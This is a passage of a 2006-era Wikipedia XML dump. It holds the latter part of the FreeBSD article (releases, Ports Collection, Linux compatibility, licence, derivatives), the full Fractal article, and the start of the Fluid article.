FreeBSD 5 has also significantly changed the block I/O layer with the introduction of the GEOM modular disk I/O request transformation framework, contributed by Poul-Henning Kamp.  GEOM enables the simple creation of many kinds of functionality, such as mirroring (gmirror) and encryption (gbde).  The recent release of FreeBSD 5.4 has confirmed the FreeBSD 5.x branch as a highly stable and well-performing release, albeit one with a long gestation period due to the large feature set.

== FreeBSD 6 and 7 ==

FreeBSD 6.0 was released on [[November 4]] [[2005]], and 7.0-CURRENT is under development. These versions continue the work on SMP and threading optimization, as well as additional work in the area of advanced 802.11 functionality, [[TrustedBSD]] security event auditing, etc. The primary release accomplishments of this release include the removal of the Giant lock from VFS, replacement of the libthr library with a better performing implementation of 1:1 threading, and the addition of a [[BSM]] audit implementation, called [[OpenBSM]], created by the TrustedBSD Project which is heavily based upon the BSM implementation found in Apple's Open Source [[Darwin (operating system)|Darwin]] which has been released under a [[BSD license|BSD-style license]].

== Ports collection ==

The FreeBSD [[ports collection|Ports Collection]] provides an easy and consistent way of installing software ported to FreeBSD. It uses [[Makefile]]s laid out in a directory hierarchy, so software can be installed and deinstalled with the make command. 

When installing an application, very little (if any) user intervention is required after issuing the initial command. In most cases, the application is automatically downloaded from the [[Internet]], patched and configured if necessary, compiled, installed, and registered in the package database. Any dependencies on other applications or libraries a port may have are also installed for the user.

Each port, or software package, is maintained by a &quot;port maintainer&quot;, an individual who is responsible for staying current with the latest software developments. Anyone is welcome to become a port maintainer by contributing their favorite piece of software to the collection. One may also choose to adopt and maintain an existing port that has no maintainership.

Due to the size of the Ports Collection, with new software being contributed on a regular basis [http://www.freebsd.org/ports/growth/status.png], many users will never have to look elsewhere for third party applications. As of [[January 12]] [[2006]], there are over 14,000 pieces of software available in the collection.

Precompiled (binary) ports are called &quot;packages&quot;, and are available for download. 

The pre-compiled packages are generally separated into three sections, one intended for use with the 4.x code branch (4.9-RELEASE, 4.10-RELEASE, 4.11-RELEASE, 4.11-STABLE) another for use with the 5.x branch, and a third for use with the new 6.0-RELEASE branch.  In almost all cases, a package created for the 4.x branch of FreeBSD can be installed in versions 5.2.1-RELEASE and beyond without difficulty.

If you know the name of the package you would like to install, the installation can be entirely automated by passing the package name to the ''pkg_add -r'' command. The appropriate package for your release will then be downloaded and installed along with any software dependencies it may have. By default, packages will be downloaded from the main FreeBSD distribution site.

== Linux compatibility ==

FreeBSD provides binary compatibility with several other [[Unix-like]] [[operating systems]], including [[Linux]]. The reasoning behind this is generally attributed to being able to run applications developed for Linux, often commercial, that are only distributed in binary form and thus cannot be ported to FreeBSD without the will of those who control the source code. 

In a nutshell, it allows FreeBSD users to run a majority of the applications that are only distributed as Linux binaries. When compared to the vast number of native applications available for FreeBSD using the Ports Collection, these applications are in the minority. Applications used under the Linux compatibility layer include [[StarOffice]], the Linux version of [[Netscape]], [[Adobe Acrobat]], [[RealPlayer]], [[VMware]], [[Oracle_Database|Oracle]], [[WordPerfect]], [[Skype]], [[Doom 3]], [[Quake 4]], the [[Unreal_series#The_Unreal_Tournament_series|Unreal Tournament series]], [[Beonex]] and so on. Generally, there seems to be no noticeable performance penalty when running Linux binaries as opposed to native FreeBSD ones.

Though there are many applications that run flawlessly under the compatibility layer, it should be noted that the layer is not complete, thus rendering some Linux binaries unusable on FreeBSD or limiting their functionality, possibly because this compatibility layer only supports the system calls of Linux Kernel 2.4.2, a historic release. One example of this is [[Cedega]], [[TransGaming]]'s product to run [[Microsoft Windows]] games on Linux. Its usage is largely crippled at this time due to an incomplete compatibility layer. There has, however, been limited success in using it to run games on FreeBSD [http://cedega.firepipe.net].

== License ==

As with its sister operating systems, [[OpenBSD]], [[NetBSD]] and [[DragonFlyBSD]], the code in FreeBSD is released under the terms of a variety of licenses.  All of the kernel code and most newly created code is released under the terms of the two-clause [[BSD license]], which allows everyone to use and redistribute FreeBSD as they wish, as long as they do not remove the [[copyright]] notice and the BSD license itself.  This does '''not''' prohibit redistribution under another license.  There are also parts under the [[GNU General Public License|GPL]], [[GNU Lesser General Public License|LGPL]], [[Internet Systems Consortium|ISC]], three-clause BSD license and four-clause BSD license.

== Derivatives ==

A range of free and proprietary products are directly and/or indirectly based on FreeBSD, including Juniper routers, Apple's [[Mac OS X]], Nokia's firewall operating system, and countless others.  Other [[operating systems]], including [[VxWorks]] ''(a [[Real-time computing]] operating system found running on anything from [[Linksys]] routers to the Common Core System of [[Boeing]]'s 787 [[Dreamliner]])'' and even [[Linux]], derive critical technologies from FreeBSD, illustrating the broad reach of FreeBSD technology.

'''Other works derived or created in whole or part from FreeBSD technologies:'''

* [[Darwin (operating system)|Darwin]], the core of Apple's [[Mac OS X]], borrows heavily from FreeBSD, including its virtual file system and network stack kernel code, as well as large portions of its &quot;BSD&quot; userspace component.  Apple regularly continues to integrate new code from, and contribute changes to, FreeBSD.
* [[OpenDarwin]], a completely separate from Apple project that was originally based on Darwin, and hence bears considerable part of FreeBSD programming as heritage. Though the operating system is independently controlled, the developing community tries to maintain OpenDarwin's compatibility with Darwin/Mac OS X.
* [[PC-BSD]] is a FreeBSD distribution designed for desktop use with simplified package management and a graphical installer
* [[BSDeviant]] is a live FreeBSD distribution that can fit on one Mini [[CD-R]].
* [[ClosedBSD]], a distribution aimed at firewall and NAT services.
* [[GNU/kFreeBSD]]
* [[Debian GNU/kFreeBSD]], a derivative version based on [[GNU]] userland is currently being developed by [[Debian]].
* [[Ging]] is a [[live CD]] distribution based on [[Debian GNU/kFreeBSD]], hence indirectly based on FreeBSD.
* [[DragonFly BSD]] is a fork from FreeBSD 4.8 that uses an alternative multi-processor synchronization strategy from that chosen for FreeBSD release 5. It features a threaded message passing system similar to that found in [[microkernel]]s.
* [[Firefly BSD]] is a commercially-supported operating system based on the experimental DragonFly fork of FreeBSD.
* The [[FreeSBIE]] project is producing [[live CD]] distributions of FreeBSD, similar to the [[Knoppix]] distribution of [[Linux]]. The FreeSBIE project also includes a toolset to help you make your own FreeSBIE [[live file systems]] and CDROM's.
* [[Frenzy LiveCD|Frenzy]] is another FreeBSD based [[live CD]], mainly oriented towards Russian speaking users.
* [[PicoBSD]] is a one-[[floppy]] version of FreeBSD.
* [[m0n0wall]] is a FreeBSD-based embedded [[Firewall (networking)|firewall]] package.
* [[pfSense]] is a firewall/router based on [[m0n0wall]] and FreeBSD.
* [http://www.freenas.org/ FreeNAS] is NAS server based on FreeBSD/[[m0n0wall]].
* [[TrustedBSD]] is a set of trusted operating system extensions for FreeBSD, including support for [[mandatory access control]], event auditing via [[OpenBSM]], [[access control lists]], and a variety of other security features.  Many of these features are now present in the main-line FreeBSD distribution.
* [[Gentoo/FreeBSD]] is a Gentoo/Linux port under FreeBSD's operating system.
* [[DesktopBSD]]  is a UNIX-like, desktop-oriented operating system based on FreeBSD. Its goal is to combine the stability of FreeBSD with the ease-of-use of [[KDE]], its default graphical user interface.

== See also ==
* [[Berkeley Software Distribution#BSD_descendants|BSD descendants]]
* [[Comparison of operating systems]]
*[[Inferno (operating system)|Inferno]]
* [[FreeBSD Documentation License]]
* [[List of file systems]]
* [[FreeBSD jail]]

== Further reading ==
=== Books ===
* ''[[Absolute BSD]], The Ultimate Guide to FreeBSD''. Michael Lucas. No Starch Press,  July 2002. ISBN 1886411743.
* ''BSD Hacks, 100 Industrial-Strength tips for BSD users and administrators''. [[Dru Lavigne]]. O'Reilly, May 2004. ISBN 0596006799.
* ''FreeBSD Unleashed, Second Edition''. [[Michael Urban]] and [[Brian Tiemann]]. Sams Publishing, April 2002. ISBN 0672324563.
* ''Mastering FreeBSD and OpenBSD Security''. [[Yanek Korff]], [[Paco Hope]], [[Bruce Potter]]. O'Reilly, March 2005. ISBN 0596006268.
* ''The Complete FreeBSD, 4th Edition, Documentation from the Source''. [[Greg Lehey]]. O'Reilly, April 2003 ISBN 0596005164 (also available [http://www.lemis.com/grog/Documentation/CFBSD/ online])
* ''The Design and Implementation of the FreeBSD Operating System''. [[Marshall Kirk McKusick]] and [[George V. Neville-Neil]], Addison Wesley Professional, August, 2004. ISBN 0201702452. [http://www.awprofessional.com/titles/0201702452]
* ''The FreeBSD Corporate Networkers Guide''. Ted Mittelstaedt. Addison-Wesley, December 2000. Paperback, book &amp; CD edition, 401 pages. ISBN 0201704811.
* ''The FreeBSD Handbook, Volume 1 : User Guide, 3rd Edition''.  FreeBSD Documentation Project.  FreeBSD Mall, Inc.  November 2003 ISBN 1571763279.
* ''The FreeBSD Handbook, Volume 2 : Admin Guide, 3rd Edition''.  FreeBSD Documentation Project.  FreeBSD Mall, Inc.  September 2004 ISBN 1571763287.

=== World Wide Web sites ===
* [http://bobcares.com/article4.html Compiling FreeBSD Kernel] - Simple step by step approach
* [http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/history.html A Brief History of FreeBSD] - written by FreeBSD co-founder [[Jordan Hubbard]]
* [http://www-128.ibm.com/developerworks/opensource/library/os-freebsd/?ca=dgr-lnxw01FreeBSD IBM developerWorks: Why FreeBSD] - A good overview of FreeBSD.
* [http://www.cyberciti.biz/nixcraft/vivek/blogger/freebsd-tips-and-tricks.php FreeBSD Tips &amp; Tricks] - Contains quick FreeBSD tips and tricks 
* [http://www.hypexr.org/freebsd_ports_help.php Quick starters guide to package management in FreeBSD]
* [http://www.freshports.org/ FreshPorts] - Contains detailed information about the state of software in the Ports Collection

==External links==
{{commonscat|FreeBSD}}
* [http://www.FreeBSD.org/ FreeBSD] — Official Website.
* [http://www.freshports.org/ FreshPorts] — The Place for Ports
* [http://www.freebsdsoftware.org FreeBSD software] — All the software — ports — working for FreeBSD.
* [http://www.freebsdwiki.net/ FreeBSDwiki.net] — A Wiki devoted specifically to FreeBSD.
* [http://www.TrustedBSD.org/ TrustedBSD]
* [http://logo-contest.freebsd.org/result/ The new FreeBSD Logo]
* [http://www.lemis.com/grog/Documentation/CFBSD/ The Complete FreeBSD] released under [http://creativecommons.org/licenses/by-nc-sa/2.5/legalcode a Creative Commons license]

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  <page>
    <title>Fractal</title>
    <id>10913</id>
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      <id>42114183</id>
      <timestamp>2006-03-03T22:37:42Z</timestamp>
      <contributor>
        <ip>80.126.172.157</ip>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Mandelpart2.jpg|300px|right|thumb|The [[Mandelbrot set]], named after its discoverer, is a famous example of a fractal.]]
&lt;!-- Image with unknown copyright status removed: [[Image:Mandelbrot0004-highway-1.jpg|300px|right|thumb|Another region of the [[Mandelbrot set]].]] --&gt;

A '''fractal''' is a [[geometry|geometric]] object which is rough or irregular on all scales of length, and therefore appears to be 'broken up' in a radical way. Fractals can be most simply defined as images that can be divided into parts, each of which is similar to the original object. Fractals are said to possess infinite detail, and some of them have a [[Self-similarity|self-similar]] structure that occurs at different scales, or levels of magnification. In many cases, a fractal can be generated by a repeating pattern, in a typically [[recursion|recursive]] or [[iteration|iterative]] process. The term '''''fractal''''' was coined in 1975 by [[Benoît Mandelbrot]], from the Latin ''fractus'', meaning &quot;broken&quot; or &quot;fractured&quot;. Before Mandelbrot coined his term, the common name for such structures (the [[Koch snowflake]], for example) was '''''monster curve'''''.

Fractals of many kinds were originally studied as [[mathematics|mathematical]] objects. '''Fractal geometry''' is the branch of mathematics which studies the properties and behavior of fractals.  It describes many situations which cannot be explained easily by classical geometry, and has often been applied in [[science]], [[technology]], and [[computer-generated art]]. The conceptual roots of fractals can be traced to attempts to measure the size of objects for which traditional definitions based on [[Euclidean geometry]] or [[calculus]] fail.

==History==
[[Image:KochFlake.png|right|thumbnail|205px|A [[Koch snowflake]] is the union of infinitely many regions. The boundary of each region is a [[triangle]].  Each time new triangles are added (an [[iteration]]), the perimeter grows.  It diverges to [[infinity]] with the number of iterations.  The length of the Koch snowflake's boundary is infinite, while its area remains [[finite]].&lt;!-- This is NOT merely a matter of &quot;approaching infinity but never reaching it&quot;.  The actual length of the boundary of the union is infinite. [[User:Michael Hardy]] --&gt;]]

===Contributions from classical analysis===
Objects that are now called fractals were discovered and explored long before the word was coined. In 1525, the German Artist [[Albrecht Durer]] published ''[[The Painter's Manual]]'', in which one section is on &quot;Tile Patterns formed by Pentagons&quot;. The [[Durer's Pentagon]] largely resembled the [[Sierpinski carpet]], but based on pentagons instead of squares. 

As Mandelbrot himself pointed out the idea of &quot;recursive self similarity&quot; was originally developed by the philosopher [[Leibniz]] and he even worked many details. In 1872, [[Karl Weierstrass]] found an example of a function with the non-intuitive property that it is everywhere [[continuous function|continuous]] but nowhere [[differentiable]] — the graph of [[Weierstrass function|this function]] would now be called a fractal. In 1904, [[Helge von Koch]], dissatisfied with Weierstrass's very abstract and analytic definition, gave a more geometric definition of a similar function, which is now called the [[Koch snowflake]]. The idea of self-similar curves was taken further by [[Paul Pierre Lévy]] who, in his 1938 paper ''Plane or Space Curves and Surfaces Consisting of Parts Similar to the Whole'', described a new fractal curve, the [[Lévy C curve]].

[[Georg Cantor]] gave examples of [[subset]]s of the real line with unusual properties — these [[Cantor set]]s are also now recognised as fractals. Iterated functions in the [[complex plane]] had been investigated in the late 19th and early 20th centuries by [[Henri Poincaré]], [[Felix Klein]], [[Pierre Fatou]], and [[Gaston Julia]]. However, without the aid of modern computer graphics, they lacked the means to visualize the beauty of many of the objects that they had discovered.

===Aspects of set description===
In an attempt to understand objects such as Cantor sets, [[mathematician]]s such as [[Constantin Carathéodory]] and [[Felix Hausdorff]] generalised the intuitive concept of dimension to include non-[[integer]] values. This was part of the general movement in the first part of the twentieth century to create a [[descriptive set theory]]; that is, a continuation of the direction of Cantor's research that was able in some way to classify sets of points in [[Euclidean space]]. The definition of [[Hausdorff dimension]] is geometric in nature, although it is based technically on tools from [[mathematical analysis]]. This direction was taken up by [[Besicovitch]], amongst others; it is different in character from the logical investigations that made up much of the descriptive set theory of the 1920s and 1930s. Both of these fields were pursued for some time afterwards, but mainly by specialists.

===Mandelbrot's contributions===
In the 1960s, [[Benoît Mandelbrot]] started investigating self-similarity in papers such as ''[[How Long Is the Coast of Britain? Statistical Self-Similarity and Fractional Dimension]]''. This built on earlier work by [[Lewis Fry Richardson]]. Taking a highly visual approach, Mandelbrot recognised connections between these previously unrelated strands of mathematics. In 1975, Mandelbrot coined the word ''fractal'' to describe self-similar objects which had no clear dimension. He derived the word ''fractal'' from the [[Latin]] ''fractus'', meaning ''broken'' or ''irregular'', and not from the word ''fractional'', as is commonly believed.  However, ''fractional'' itself is derived ultimately from ''fractus'' as well.

Once computer visualization was applied to fractal geometry, it presented a powerful visual argument for fractal geometry connecting far larger domains of mathematics and science than had previously been considered, particularly in the realm of [[non-linear dynamics]], [[chaos theory]]  (though a few use the term ''xaos'' instead to differentiate between ordered non-linear behaviour and the common meaning of the word), and [[complexity]]. One example is plotting [[Newton's method]] as a fractal, showing how the boundaries between different solutions are fractal, and that the solutions themselves are [[strange attractor]]s. Fractal geometry was also used for [[data compression]] and for modelling complex organic and geological systems, for example the growth of trees or the development of river basins.

Harrison [http://math.berkeley.edu/~harrison/research/publications/] extended Newtonian [[calculus]] to [[fractal domain]]s, including the theorems of [[divergence theorem|Gauss]], [[Green's theorem|Green]], and [[Stokes' theorem|Stokes]].

===The fractional dimension of the boundary of the Koch snowflake===
The total length of a number, ''N'', of small steps, ''L'', is the product ''NL''. Applied to the boundary of the Koch snowflake this gives an infinite length in the limit where ''L'' is infinitely small. This is not satisfactory, as different Koch snowflakes do have different sizes. A solution is to measure, not in meter, m, nor in square meter, m&lt;sup&gt;2&lt;/sup&gt;, but in some other power of a meter, m&lt;sup&gt;''x''&lt;/sup&gt;. Now 4''N''(''L''/3)&lt;sup&gt;''x''&lt;/sup&gt; = ''NL''&lt;sup&gt;''x''&lt;/sup&gt;, because a three times shorter steplength requires four times as many steps, as is seen from the figure. Solving that equation gives ''x'' = (log 4)/(log 3) = 1.26186. So the unit of measurement of the boundary of the Koch snowflake is m&lt;sup&gt;1.26186&lt;/sup&gt;.

==Definitions==
The most characteristic property of fractals is that they are generally irregular (not ''[[smooth function|smooth]]'') in shape, and thus are not objects definable by traditional [[geometry]]. That means that fractals tend to have significant detail, visible at any arbitrary scale; when there is self-similarity, this can occur because magnification simply shows similar pictures. Such sets are usually defined instead by [[recursion]].

For example, a normal [[Euclidean]] shape, such as a [[circle]], looks flatter and flatter as it is magnified. At infinite magnification it would be impossible to tell the difference between the circle and a straight line. Fractals do not exhibit this property. The conventional idea of [[curvature]], which represents the [[reciprocal]] of the [[radius]] of an approximating circle, cannot usefully apply because it scales away. Instead, with a fractal, increasing the magnification reveals more detail that was previously invisible.

The defining characteristics of fractals, while intuitively appealing, are remarkably hard to condense into a mathematically precise definition. Mandelbrot defined ''fractal'' as &quot;a set for which the [[Hausdorff-Besicovitch dimension]] strictly exceeds the [[topological dimension]]&quot;.  For an entirely [[self-similar]] fractal, the Hausdorff dimension is equal to the [[Minkowski-Bouligand dimension]].

Problems with defining fractals include:

:*There is no precise meaning of &quot;too irregular&quot;.
:*There is no single definition of &quot;dimension&quot;.
:*There are many ways that an object can be self-similar.
:*Not every fractal is defined [[recursive]]ly.

==Categories of fractals==
&lt;table style=&quot;float:right;width:130px;padding-left:20px&quot;&gt;
&lt;tr&gt;&lt;td&gt;[[Image:Mandelbrot-similar-x1.jpg|The whole Mandelbrot set]]
&lt;tr&gt;&lt;td&gt;[[Image:Mandelbrot-similar-x6.jpg|Mandelbrot zoomed 6x]]
&lt;tr&gt;&lt;td&gt;[[Image:Mandelbrot-similar-x100.jpg|Mandelbrot Zoomed 100x]] 
&lt;tr&gt;&lt;td&gt;[[Image:Mandelbrot-similar-x2000.jpg|Mandelbrot Zoomed 2000x ]] &lt;small&gt;Even 2000 times magnification of the Mandelbrot set uncovers fine detail resembling the full set.&lt;/small&gt;&lt;/table&gt;

Fractals can be grouped into three broad categories. These categories are determined from how the fractal is defined or generated:

:* '''[[Iterated function system]]s''' &amp;mdash; These have a fixed geometric replacement rule. [[Cantor set]], [[Sierpinski carpet]], [[Sierpinski gasket]], [[Peano curve]], [[Koch snowflake]], [[dragon curve|Harter-Heighway dragon curve]], [[T-Square (fractal)|T-Square]], [[Menger sponge]], are some examples of such fractals.
:* '''Escape-time fractals''' &amp;mdash; Fractals defined by a [[recurrence]] relation at each point in a space (such as the complex plane). Examples of this type are the [[Mandelbrot set]], the [[Burning Ship fractal]] and the [[Lyapunov fractal]].
:* '''Random fractals''', generated by stochastic rather than deterministic processes, for example, [[fractal landscapes]], [[Lévy flight]] and the [[Brownian Tree]]. The latter yields so-called mass- or dendritic fractals, for example, [[Diffusion Limited Aggregation]] or [[Reaction Limited Aggregation]] clusters. 

Fractals can also be classified according to their self-similarity. There are three types of self-similarity found in fractals:

:*Exact self-similarity &amp;mdash; This is the strongest type of self-similarity; the fractal appears identical at different scales. Fractals defined by iterated function systems often display exact self-similarity.
:*Quasi-self-similarity &amp;mdash; This is a loose form of self-similarity; the fractal appears approximately (but not exactly) identical at different scales. Quasi-self-similar fractals contain small copies of the entire fractal in distorted and degenerate forms. Fractals defined by [[recurrence relation]]s are usually quasi-self-similar but not exactly self-similar.
:*Statistical self-similarity &amp;mdash; This is the weakest type of self-similarity; the fractal has numerical or statistical measures which are preserved across scales. Most reasonable definitions of &quot;fractal&quot; trivially imply some form of statistical self-similarity. (Fractal dimension itself is a numerical measure which is preserved across scales.) Random fractals are examples of fractals which are statistically self-similar, but neither exactly nor quasi-self-similar.

It should be noted that not all self-similar objects are fractals &amp;mdash; e.g., the [[real line]] (a straight Euclidean line) is exactly self-similar, but the argument that Euclidean objects are fractals is a distinct minority position.  Mandelbrot argued that a definition of &quot;fractal&quot; should include not only &quot;true&quot; fractals, but also traditional Euclidean objects, because [[irrational number]]s on the number line represent complex, non-repeating properties.

Because a fractal possesses infinite [[granularity]], no natural object can be a fractal. However, natural objects can display fractal-like properties across a limited range of scales.

==Examples==
[[Image:Julia set (indigo).png|thumb|A [[Julia set]], a fractal related to the Mandelbrot set]]

Some common examples of fractals include the [[Mandelbrot set]], [[Lyapunov fractal]], [[Cantor set]], [[Sierpinski gasket]] and [[Sierpinski carpet|carpet]], [[Menger sponge]], [[dragon curve]], [[Peano curve]], limit sets of [[Kleinian group]]s, and the [[Koch curve]].  Fractals can be [[deterministic]] or [[stochastic]] (i.e. non-deterministic). [[Chaos theory|Chaotic dynamical systems]] are often (if not always) associated with fractals. The Mandelbrot set contains whole discs, so has dimension 2. This is not surprising. What is truly surprising is that the ''[[boundary]]'' of the Mandelbrot set also has a Hausdorff dimension of 2.

A relatively simple class of examples is the [[Cantor set]]s, in which short and then shorter (open) intervals are struck out of the [[unit interval]] [0, 1], leaving a set that might (or might not) actually be self-similar under enlargement, and might (or might not) have dimension ''d'' that has 0 &amp;lt; ''d'' &amp;lt; 1. A simple recipe, such as excluding the [[numerical digit|digit]] ''7'' from [[decimal expansion]]s, is self-similar under 10-fold [[enlargement]], and also has dimension log 9/log 10 (this value is the same, no matter what [[logarithm]]ic base is chosen), showing the connection of the two concepts.

==Fractals in nature==
Approximate fractals are easily found in nature. These objects display complex structure over an extended, but finite, scale range. These naturally occurring fractals (like [[clouds]], [http://www.its.caltech.edu/~atomic/snowcrystals/ snowflakes], [[mountains]], [[river]] networks, and systems of [[blood vessels]]) have both lower and upper cut-offs, but they are separated by several [[orders of magnitude]]. Despite being ubiquitous, fractals were not much studied until well into the [[twentieth century]], and general definitions came later.

Trees and ferns are fractal in nature and can be modeled on a computer using a [[recursion|recursive]] [[algorithm]]. This recursive nature is clear in these examples &amp;mdash; a branch from a tree or a [[frond]] from a fern is a miniature replica of the whole: not identical, but similar in nature.

&lt;gallery&gt;
Image:Glue1_800x600.jpg|A fractal is formed when pulling apart two glue-covered acrylic sheets.
Image:Square1.jpg|High voltage breakdown within a 4&amp;Prime; block of acrylic creates a fractal [[Lichtenberg figure]].
Image:Microwaved-DVD.jpg|Fractal branching occurs on a microwave-irradiated [[DVD]]
Image:Fractal Broccoli.jpg|Romanesco broccoli showing very fine natural fractals
&lt;/gallery&gt;

==Applications==
[[Image:Julia set (highres 01).jpg|thumb|]]
Random fractals have the greatest practical use because they can be used to describe many highly irregular real-world objects. Examples include clouds, mountains, [[turbulence]], coastlines, and trees. Fractal techniques have also been employed in [[Fractal Compression|fractal image compression]], as well as a variety of scientific disciplines.

There are various applications [http://library.thinkquest.org/26242/full/ap/ap.html] of fractals in the fields of:
* [[Classification]] of [[histopathology]] slides in [[medicine]]
* Generation of new [[music]]
* Generation of various [[art]] forms
* [[Signal (information theory)|Signal]] and [[image]] [[Data compression|compression]]
* [[Seismology]]
* [[Cosmology]]
* [[game design|Computer and video game design]], especially [[computer graphics]] for [[life|organic]] environments
* Fractography and [[fracture mechanics]]

==Fractal generation==
Fractals are usually rendered with computers. Various software exists for rendering fractals, and even generating new ones.

* [[Fractint]] (multiplatform)
* [[Sterling Fractal]] — Advanced fractal-generating program for [[Microsoft Windows]] operating systems by Stephen Ferguson
* [[XaoS]] — A fast interactive real-time fractal zoomer and morpher ([http://xaos.sourceforge.net/ homepage]).

==See also==
* [[Bifurcation theory]]
* [[Butterfly effect]]
* [[Chaos theory]]
* [[Complexity]]
* [[Constructal theory]]
* [[Diamond-square algorithm]]
* [[Fractal art]]
* [[Fractal landscape]]
* [[Fractal metaphysics]]
* [[Fractal compression]]
* [[Graftal]]
* [[List of publications in mathematics#Fractal geometry|Publications in fractal geometry]]
* [[Non-linear dynamics]]
* [[Recursion]]
* [[Turbulence]]
* [[Feigenbaum Function]]

==References==
* Barnsley, Michael F., and Hawley Rising. ''Fractals Everywhere''. Boston: Academic Press Professional, 1993. ISBN 0120790610  
* Falconer, Kenneth. ''Fractal Geometry: Mathematical Foundations and Applications''. West Sussex: John Wiley &amp; Sons, Ltd., 2003. ISBN 0470848618
* Jürgens, Hartmut, Heins-Otto Peitgen, and Dietmar Saupe. ''Chaos and Fractals: New Frontiers of Science''. New York: Springer-Verlag, 1992. ISBN 038797903
* Mandelbrot, Benoît B. ''The Fractal Geometry of Nature''. New York: W. H. Freeman and Co., 1982. ISBN 0716711869
* Peitgen, Heinz-Otto, and Dietmar Saupe, eds. ''The Science of Fractal Images''. New York: Springer-Verlag, 1988. ISBN 0387966080
* [[Clifford A. Pickover]], ed.  ''Chaos and Fractals: A Computer Graphical Journey - A 10 Year Compilation of Advanced Research''. Elsevier, 1998. ISBN 0-444-50002-2
* [[Jesse Jones]], ''Fractals for the Macintosh'', Waite Group Press, Corte Madera, CA, 1993. ISBN 1-878739-46-8. Probably the earliest good computer-generator for the masses; the book came with a floppy (unknown if it will still run on later Macintoshs). Good introduction geared toward students at junior-high and high school level. With brief history including Peano and Koch leading to Hausdorff dimension. Examples of imaginary-number math, how to generate a fractal. With formulas and brief explanations for the 69 generator functions supported by the floppy. References a 1985 Scientific American article in [[A.K. Dewdney]]'s &quot;Computer Recreations&quot; that &quot;...inspired countless programmers to write their own Mandelbrot programs&quot; including, apparently, the author.
* [[Hans Lauwerier]], ''Fractals: Endlessly Repeated Geometrical Figures'', Translated by Sophia Gill-Hoffstadt, Princeton University Press, Princeton NJ, 1991. ISBN 0-691-08551-X, cloth. ISBN 0-691-02445-6 paperback. &quot;This book has been written for a wide audience...&quot; Includes sample BASIC programs in an appendix.

==External links==
{{Spoken Wikipedia|Fractal.ogg|2005-06-16}}
{{Commons|Fractal}}
*[http://hypertextbook.com/chaos/ The Chaos Hypertextbook]. An introductory primer on chaos and fractals.
*[http://www.fractalus.com/info/layman.htm Fractals, in Layman's Terms]
*[http://www.cut-the-knot.org/Curriculum/index.shtml#f Fractals, fractal dimension, chaos, plane filling curves] at [[cut-the-knot]]
*[http://math.rice.edu/~lanius/fractals/self.html Fractal properties]
*[http://www.faqs.org/faqs/fractal-faq/ Information on fractals from FAQS.org]
*[http://www.jracademy.com/~jtucek/math/dimen.html Fractal dimensions]
*[http://math.berkeley.edu/~harrison/research/publications/ Fractal calculus]
*[http://www.math.vt.edu/people/hoggard/FracGeomReport/node1.html Fractal Dimension]
*[http://astronomy.swin.edu.au/~pbourke/fractals/grandcanyon/ Natural fractals in Grand Canyon]
*[http://www.geom.uiuc.edu/~math5337/ds/ One Dimensional Dynamical Systems]. From UIUC a brief introduction
; Multiplatform generator programs
*[http://xaos.sourceforge.net/ Xaos] — Realtime generator — Windows, Mac, Linux, etc
*[http://flam3.com/ FLAM3] — Advanced iterated function system designer and renderer for all platforms.
*[http://fract.ygingras.net Fract] — A Web-based fractal zoomer

; Linux generator programs
*[http://gnofract4d.sourceforge.net/ Gnofract4d] — Interactive editor which can use many fractint formulas
*[http://freshmeat.net/articles/view/827/  Review of fractal software packages which run under X11 on Linux]

; Windows generator programs
*[http://www.fractovia.org/art/fractal_generators/gen01.shtml Fractovia's listing of fractal generators] is a fairly complete listing of free fractal generators.
*[http://www.wackerart.de/fractal.html Online Fractal Generator]  Java-Plugin required.
*[http://www.ultrafractal.com/ Ultra Fractal] — popular software for Microsoft Windows
*[http://www.apophysis.org/ Apophysis] — A free and powerful flame and IFS fractal generator. Widely used for creating fractal artwork.
*[http://www.chaospro.de ChaosPro] — for Microsoft Windows
*[http://www.aswsoftware.com/products/msplotter/msplotter.shtml  MSPlotter]  a great free Windows-based fractal generator, using fractals to create [[bitmap]] images and AVI video clips.
*[http://www.eclectasy.com/Fractal-Explorer/ Fractal Explorer] — free Windows-based generator

; Mac generator programs
*[http://www.daugerresearch.com/fractaldemos/altivecfractalcarbon.html Altivec Fractal Carbon] Mac-based benchmarking utility, using fractals to determine performance.
*[http://www.cl.uni-heidelberg.de/~kleinert/ubisonic/stephan/software/ifslab/index.shtml IFSLab] A [[Iterated function system]] fractal generator for [[Mac OS X]].

; MorphOS generator programs
*[http://www.elena-fractals.it/ Zone Explorer] with support for custom formulas

; Fractal Art Galleries
*[http://blog.yukonho.com/article.php?id=71 Gallery]
*[http://www.fractovia.org/ Fractovia] — authoritative source of fractal generators.
*[http://www.phidelity.com/ph2/fractals/ Fractal Artwork]
*[http://www.fractal-landscapes.com Fractal landscapes]
*[http://fred.mitchellware.com/fractals Mitchell-Green gravity set]
*[http://www.faemalia.net/Fractals Fractal art galleries]
*[http://www.ericbigas.com/fractals  Fractal Zoom movies]
*[http://www.webfractales.com/en/ WebFractales : Galleries and softwares]
*[http://www.geocities.com/tmichelitsch/Michelitsch_Fractals.html Fractal art with papers and programs]
*[http://www.xs4all.nl/~wolter/index.html Fractal Art by Wolter Schraa]

[[Category:Fractals| ]]
[[Category:Digital Revolution]]
[[Category:Digital art]]


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[[ar:هندسة كسيرية]]
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    </revision>
  </page>
  <page>
    <title>Fluid</title>
    <id>10915</id>
    <revision>
      <id>38789360</id>
      <timestamp>2006-02-08T17:49:33Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/208.63.114.185|208.63.114.185]] ([[User talk:208.63.114.185|talk]]) to last version by 141.210.103.244</comment>
      <text xml:space="preserve">A subset of the [[Phase (matter)|phases of matter]], '''fluids''' include [[liquid|liquids]], [[gas|gases]], [[Plasma physics|plasmas]] and, to some extent, [[plasticity (physics)|plastic solids]].

Fluids share the properties of not resisting deformation and the ability to flow (also described as their ability to take on the shape of their containers). These properties are typically a function of their inability to support a [[shear stress]] in static [[equilibrium]].  While in a solid, stress is a function of strain, in a fluid stress is a function of rate of strain.  A consequence of this behaviour is [[Pascal's law]] which entails the important role of [[pressure]] in characterising a fluid's state. 

Fluids can be characterised as:
*[[Newtonian fluid]]s; or
*[[Non-Newtonian fluid]]s,

- depending on the way [[stress (physics)|stress]] depends on [[strain]] and its [[derivative]]s. The behaviour of fluids is described by a set of [[partial differential equations]], including the [[Navier-Stokes equations]].

Fluids are also divided into liquids and gases.  Liquids form a free surface (that is, a surface not created by their container) while gases do not.

